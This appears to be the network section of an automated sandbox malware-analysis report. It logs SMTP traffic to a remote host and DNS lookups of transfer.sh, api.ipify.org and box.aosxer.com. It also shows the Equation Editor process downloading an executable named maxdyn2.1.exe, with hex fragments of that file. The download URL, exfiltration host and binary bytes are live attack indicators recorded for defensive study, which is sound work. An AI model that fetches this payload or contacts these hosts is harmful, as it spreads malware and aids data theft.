Jan 18, 2023 09:14:45.432952881 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.439944983 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.440017939 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.440056086 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.440090895 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.440124989 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.440201998 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.440325975 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.440325975 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.440365076 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.481925964 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.481992006 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482029915 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482065916 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482101917 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482136965 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482198000 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482234955 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482269049 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482302904 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482336998 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482369900 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482403040 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482438087 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482472897 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.482659101 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.495009899 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.495068073 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.495093107 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.495115042 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.495434999 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.530966997 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531013966 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531045914 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531085968 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531110048 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531133890 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531162977 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531182051 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531210899 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531229973 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531248093 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531270981 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531295061 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531312943 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531332016 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.531374931 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.539150000 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.539182901 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.539215088 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.539233923 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.539263964 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.539292097 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.539309025 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.539325953 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.542951107 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.543006897 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.543034077 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.543082952 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.543107986 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.543131113 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.543173075 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.543173075 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.543272972 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.543272972 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.546597958 CET	49178	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.550050974 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550131083 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550175905 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550225019 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550259113 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.550259113 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.550283909 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550323009 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550344944 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.550349951 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550389051 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550393105 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.550420046 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.550429106 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550465107 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550491095 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550514936 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550538063 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550563097 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550682068 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550764084 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550796986 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550820112 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.550843000 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.592538118 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.592580080 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.605424881 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.605550051 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.605618954 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.605765104 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.605798006 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.605832100 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.605865955 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.605901957 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.605937004 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.605969906 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.606003046 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.606036901 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.606070042 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.606103897 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.606136084 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.606169939 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.606204987 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.606237888 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.606271029 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.606307030 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.653168917 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.653232098 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.653253078 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.653287888 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.653321981 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.653392076 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.653426886 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.653460979 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.653495073 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.653529882 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.653563976 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.660456896 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.660525084 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.660592079 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.660629034 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.660737038 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.660773039 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.660825968 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.660892963 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.660944939 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.660978079 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.661012888 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.661046982 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.661078930 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.661113977 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.661145926 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.661179066 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.661443949 CET	49179	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:45.704210997 CET	587	49178	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.771332026 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.820247889 CET	587	49179	5.249.163.12	192.168.2.22
Jan 18, 2023 09:14:45.923527956 CET	49178	587	192.168.2.22	5.249.163.12
Jan 18, 2023 09:14:46.032838106 CET	49179	587	192.168.2.22	5.249.163.12

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 18, 2023 09:13:37.146893978 CET	55868	53	192.168.2.22	8.8.8.8
Jan 18, 2023 09:13:37.166675091 CET	53	55868	8.8.8.8	192.168.2.22
Jan 18, 2023 09:13:50.304089069 CET	49688	53	192.168.2.22	8.8.8.8
Jan 18, 2023 09:13:50.320935965 CET	53	49688	8.8.8.8	192.168.2.22
Jan 18, 2023 09:13:50.332366943 CET	58836	53	192.168.2.22	8.8.8.8
Jan 18, 2023 09:13:50.349430084 CET	53	58836	8.8.8.8	192.168.2.22
Jan 18, 2023 09:14:09.471867085 CET	50134	53	192.168.2.22	8.8.8.8
Jan 18, 2023 09:14:09.493438005 CET	53	50134	8.8.8.8	192.168.2.22
Jan 18, 2023 09:14:09.494229078 CET	50134	53	192.168.2.22	8.8.8.8
Jan 18, 2023 09:14:09.498119116 CET	55275	53	192.168.2.22	8.8.8.8
Jan 18, 2023 09:14:09.511863947 CET	53	50134	8.8.8.8	192.168.2.22
Jan 18, 2023 09:14:09.545176983 CET	53	55275	8.8.8.8	192.168.2.22
Jan 18, 2023 09:14:43.800529003 CET	59915	53	192.168.2.22	8.8.8.8
Jan 18, 2023 09:14:43.820194006 CET	53	59915	8.8.8.8	192.168.2.22
Jan 18, 2023 09:14:43.820513010 CET	59915	53	192.168.2.22	8.8.8.8
Jan 18, 2023 09:14:43.841638088 CET	53	59915	8.8.8.8	192.168.2.22
Jan 18, 2023 09:14:43.842207909 CET	59915	53	192.168.2.22	8.8.8.8
Jan 18, 2023 09:14:43.862047911 CET	53	59915	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 18, 2023 09:13:37.146893978 CET	192.168.2.22	8.8.8.8	0x1fed	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:13:50.304089069 CET	192.168.2.22	8.8.8.8	0xf7d9	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:13:50.332366943 CET	192.168.2.22	8.8.8.8	0xbb97	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:09.471867085 CET	192.168.2.22	8.8.8.8	0x1f14	Standard query (0)	box.aosxer.com	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:09.494229078 CET	192.168.2.22	8.8.8.8	0x1f14	Standard query (0)	box.aosxer.com	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:09.498119116 CET	192.168.2.22	8.8.8.8	0xaee8	Standard query (0)	box.aosxer.com	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:43.800529003 CET	192.168.2.22	8.8.8.8	0x2aaf	Standard query (0)	box.aosxer.com	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:43.820513010 CET	192.168.2.22	8.8.8.8	0x2aaf	Standard query (0)	box.aosxer.com	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:43.842207909 CET	192.168.2.22	8.8.8.8	0x2aaf	Standard query (0)	box.aosxer.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 18, 2023 09:13:37.166675091 CET	8.8.8.8	192.168.2.22	0x1fed	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:13:50.320935965 CET	8.8.8.8	192.168.2.22	0xf7d9	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2023 09:13:50.320935965 CET	8.8.8.8	192.168.2.22	0xf7d9	No error (0)	api4.ipify.org		64.185.227.155	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:13:50.320935965 CET	8.8.8.8	192.168.2.22	0xf7d9	No error (0)	api4.ipify.org		173.231.16.75	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:13:50.320935965 CET	8.8.8.8	192.168.2.22	0xf7d9	No error (0)	api4.ipify.org		104.237.62.211	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:13:50.349430084 CET	8.8.8.8	192.168.2.22	0xbb97	No error (0)	api.ipify.org	api4.ipify.org		CNAME (Canonical name)	IN (0x0001)	false
Jan 18, 2023 09:13:50.349430084 CET	8.8.8.8	192.168.2.22	0xbb97	No error (0)	api4.ipify.org		64.185.227.155	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:13:50.349430084 CET	8.8.8.8	192.168.2.22	0xbb97	No error (0)	api4.ipify.org		173.231.16.75	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:13:50.349430084 CET	8.8.8.8	192.168.2.22	0xbb97	No error (0)	api4.ipify.org		104.237.62.211	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:09.493438005 CET	8.8.8.8	192.168.2.22	0x1f14	No error (0)	box.aosxer.com		5.249.163.12	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:09.511863947 CET	8.8.8.8	192.168.2.22	0x1f14	No error (0)	box.aosxer.com		5.249.163.12	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:09.545176983 CET	8.8.8.8	192.168.2.22	0xaee8	No error (0)	box.aosxer.com		5.249.163.12	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:43.820194006 CET	8.8.8.8	192.168.2.22	0x2aaf	No error (0)	box.aosxer.com		5.249.163.12	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:43.841638088 CET	8.8.8.8	192.168.2.22	0x2aaf	No error (0)	box.aosxer.com		5.249.163.12	A (IP address)	IN (0x0001)	false
Jan 18, 2023 09:14:43.862047911 CET	8.8.8.8	192.168.2.22	0x2aaf	No error (0)	box.aosxer.com		5.249.163.12	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

transfer.sh

api.ipify.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49174	144.76.136.153	443	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49175	64.185.227.155	443	C:\Users\user\AppData\Local\Temp\lyebkz.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49173	144.76.136.153	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 18, 2023 09:13:37.285243988 CET	0	OUT	GET /get/I9BcJI/maxdyn2.1.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: transfer.sh Connection: Keep-Alive
Jan 18, 2023 09:13:37.385618925 CET	1	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Wed, 18 Jan 2023 08:13:37 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://transfer.sh/get/I9BcJI/maxdyn2.1.exe Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.18.0</center></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49174	144.76.136.153	443	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
2023-01-18 08:13:38 UTC	0	OUT	GET /get/I9BcJI/maxdyn2.1.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Connection: Keep-Alive Host: transfer.sh
2023-01-18 08:13:39 UTC	0	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Wed, 18 Jan 2023 08:13:39 GMT Content-Type: application/x-ms-dos-executable Content-Length: 437857 Connection: close Cache-Control: no-store Content-Disposition: attachment; filename="maxdyn2.1.exe" Retry-After: Wed, 18 Jan 2023 09:13:42 GMT X-Made-With: <3 by DutchCoders X-Ratelimit-Key: 127.0.0.1,84.17.52.5,84.17.52.5 X-Ratelimit-Limit: 10 X-Ratelimit-Rate: 600 X-Ratelimit-Remaining: 9 X-Ratelimit-Reset: 1674029622 X-Remaining-Days: n/a X-Remaining-Downloads: n/a X-Served-By: Proudly served by DutchCoders Strict-Transport-Security: max-age=63072000
2023-01-18 08:13:39 UTC	0	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ad 31 08 81 e9 50 66 d2 e9 50 66 d2 e9 50 66 d2 2a 5f 39 d2 eb 50 66 d2 e9 50 67 d2 4c 50 66 d2 2a 5f 3b d2 e6 50 66 d2 bd 73 56 d2 e3 50 66 d2 2e 56 60 d2 e8 50 66 d2 52 69 63 68 e9 50 66 d2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 1f 9b 4f 61 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 68 00 00 00 2a 02 00 00 08 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1PfPfPf_9PfPgLPf_;PfsVPf.V`PfRichPfPELOah*
2023-01-18 08:13:40 UTC	16	IN	Data Raw: e8 9a 00 00 00 68 00 7f 00 00 53 ff d7 50 ff 15 f0 81 40 00 8b 7d 14 81 7f 08 00 07 00 00 75 48 81 7f 0c 00 01 00 00 75 3f 83 7f 10 0d 75 10 53 6a 01 68 11 01 00 00 ff 35 68 a2 42 00 ff d6 83 7f 10 1b 75 0c 53 53 6a 10 ff 35 68 a2 42 00 ff d6 33 c0 40 eb 1e 81 7d 0c 0b 04 00 00 75 06 ff 05 14 17 42 00 8b 7d 14 57 ff 75 10 ff 75 0c e8 24 fc ff ff 5f 5e 5b c9 c2 10 00 83 3d ec a2 42 00 00 a1 10 17 42 00 75 05 a1 44 37 42 00 6a 01 6a 01 68 f4 00 00 00 50 ff 15 80 82 40 00 c3 55 8b ec 83 ec 3c 8b 45 08 83 65 d8 00 83 65 dc 00 89 45 cc 8b 45 0c c7 45 c8 00 05 00 00 89 45 d4 8d 45 c4 50 c7 45 e0 01 00 00 00 c7 45 d0 c8 a3 40 00 e8 24 12 00 00 c9 c2 0c 00 55 8b ec 81 7d 0c 10 01 00 00 56 8b 75 14 75 26 ff 76 30 6a 1d ff 75 08 e8 39 fb ff ff 8b 46 3c c1 e0 0b 05 Data Ascii: hSP@}uHu?uSjh5hBuSSj5hB3@}uB}Wuu$_^[=BBuD7BjjhP@U<EeeEEEEEPEE@$U}Vuu&v0ju9F<
2023-01-18 08:13:40 UTC	32	IN	Data Raw: 63 65 73 73 00 46 00 43 6f 70 79 46 69 6c 65 57 00 14 03 53 65 74 45 6e 76 69 72 6f 6e 6d 65 6e 74 56 61 72 69 61 62 6c 65 57 00 f4 01 47 65 74 57 69 6e 64 6f 77 73 44 69 72 65 63 74 6f 72 79 57 00 00 d6 01 47 65 74 54 65 6d 70 50 61 74 68 57 00 00 11 01 47 65 74 43 6f 6d 6d 61 6e 64 4c 69 6e 65 57 00 ea 01 47 65 74 56 65 72 73 69 6f 6e 45 78 57 00 15 03 53 65 74 45 72 72 6f 72 4d 6f 64 65 00 00 cd 03 6c 73 74 72 6c 65 6e 57 00 00 ca 03 6c 73 74 72 63 70 79 6e 57 00 94 03 57 69 64 65 43 68 61 72 54 6f 4d 75 6c 74 69 42 79 74 65 00 50 01 47 65 74 44 69 73 6b 46 72 65 65 53 70 61 63 65 57 00 0a 02 47 6c 6f 62 61 6c 55 6e 6c 6f 63 6b 00 00 03 02 47 6c 6f 62 61 6c 4c 6f 63 6b 00 00 6f 00 43 72 65 61 74 65 54 68 72 65 61 64 00 00 71 01 47 65 74 4c 61 73 74 45 Data Ascii: cessFCopyFileWSetEnvironmentVariableWGetWindowsDirectoryWGetTempPathWGetCommandLineWGetVersionExWSetErrorModelstrlenWlstrcpynWWideCharToMultiBytePGetDiskFreeSpaceWGlobalUnlockGlobalLockoCreateThreadqGetLastE
2023-01-18 08:13:40 UTC	48	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-01-18 08:13:40 UTC	64	IN	Data Raw: ff 00 a8 b5 ff 00 a7 b4 ff 00 a6 b3 ff 00 a5 b1 ff 00 a4 b0 ff 00 a3 af ff 00 a2 ae ff 00 92 9c ff 00 26 29 ff 00 9f ab ff 00 9e aa ff 00 9d a9 ff 00 9c a7 ff 00 43 47 ff 00 7b 83 ff 00 64 6b ff 00 09 0a ff 00 67 6f ff 00 8e 97 ff 00 6e 75 ff 00 5b 61 ff 00 23 25 ff 00 4a 4f ff 00 70 78 ff 00 91 9a ff 00 87 8f ff 00 16 18 ff 00 26 28 ff 00 8c 95 ff 00 8f 98 ff 00 90 99 ff 00 8d 96 ff 00 1b 1c ff 00 21 23 ff 00 95 9f ff 00 97 a1 ff 00 98 a2 ff 00 99 a4 ff 00 92 9c ff 00 27 2a ff 00 1b 1d ff 00 96 a0 ff 00 a0 ab ff 00 a1 ac ff 00 a2 ae ff 00 a4 af ff 00 a5 b1 ff 00 a6 b2 ff 00 a8 b3 ff 00 a9 b5 ff 00 aa b6 ff 00 ac b8 ff 00 ad b9 ff 00 ae bb ff 00 b0 bc ff 00 b1 be ff 00 b2 bf ff 00 b4 c1 ff 00 b5 c2 ff 00 b6 c3 ff 00 b8 c5 ff 00 b9 c6 ff 00 ba c8 ff 00 bb Data Ascii: &)CG{dkgonu[a#%JOpx&(!#'*
